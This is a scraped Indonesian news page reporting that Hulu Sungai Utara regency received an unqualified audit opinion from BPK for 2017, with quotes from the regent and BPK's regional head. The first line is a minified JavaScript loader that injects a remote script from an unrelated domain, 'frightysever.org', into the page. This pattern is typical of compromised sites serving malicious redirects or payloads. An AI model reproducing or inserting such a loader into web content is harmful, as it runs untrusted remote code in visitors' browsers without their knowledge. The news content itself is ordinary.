(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HSU Raih Opini WTP Kali Ketiga dari BPK RI


AMUNTAI, Kabupaten Hulu Sungai Utara (HSU) berusaha tetap pertahankan Opini Wajar Tanpa Pengecualian (WTP) dalam pemeriksaan Laporan Keuangan Pemerintah Daerah (LKPD) serta memperbaiki semua kegiatan yang menjadi objek pemeriksaan BPK.

Hal tersebut seperti disampaikan Bupati HSU H Abdul Wahid usai acara penyerahan laporan hasil pemeriksaan atas laporan keuangan pemerintah daerah tahun 2017 yang dihadiri oleh kepala daerah di Kalsel, di BPK RI Perwakilan Kalimantan Selatan di Banjarbaru, Rabu (30/5).
Didampingi Ketua DPRD HSU H Sahrujani, Wahid mengatakan, Kabupaten HSU sudah mendapatkan opini WTP untuk yang kali ketiga. Pemkab HSU akan terus berusaha untuk selalu memperbaiki laporan keuangan, pendataan aset, serta semua kegiatan yang menjadi objek pemeriksaan BPK.

“Saya menyakini bahwa apa yang sudah dilakukan sesuai dengan peraturan perundang undangan,” terangnya.

Dengan penyerahan laporan keuangan tahun anggaran 2017 tersebut, Kabupaten Hulu Sungai Utara telah memenuhi amanat Undang-Undang No. 17/2003 tentang Keuangan Negara, Undang-Undang No. 1/2004 tentang Perbendaharaan Negara, dan Undang-Undang No. 15/2004 tentang Pemeriksaan Pengeloaan dan Tanggung Jawab Keuangan Negara.

Kepala BPK Perwakilan Kalsel Tornanda Syaifullah SE MM mengatakan, BPK memberikan opini WTP kepada 12 pemerintah Kabupaten/Kota se-Kalsel, hanya Kabupaten HST yang meraiah opini Wajar Dengan Pengecualian.

Opini yang diberikan BPK merupakan kesimpulan hasil pemeriksaan laporan keuangan setelah mempertimbangkan kesesuaian laporan keuangan dengan standar akuntansi pemerintah. Selain itu, sesuai dengan kecukupan pengungkapan, efektivitas sistem pengendalian intern, serta kepatuhan terhadap peraturan perundang-undangan yang berlaku.

“Meski mendapat opini WTP, kami masih menemukan kelemahan sistem pengendalian intern dan ketidak patuhan terhadap perundang-undangan, namun hal itu tidak memengaruhi kewajaran,” tuturnya.

Sementara kelemahan yang ditemukan dari sistem pengendalian internal meliputi penatausahaan aset, pelaksanaan dan pertanggungjawaban belanja hibah, serta penatausahaan dana BOS APBN. Selanjutnya, pengelolaan piutang PBB P2 yang belum sepenuhnya tertib, dan klasifikasi penganggaran belanja yang belum sepenuhnya tepat, sehingga harus diperbaiki. (dew)

Reporter: Dew
Editor: Abi Zarrin Al GhifariÂÂ

Desy Arfianty

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

12 menit ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

2 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

2 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

2 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

4 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

5 jam ago

This website uses cookies.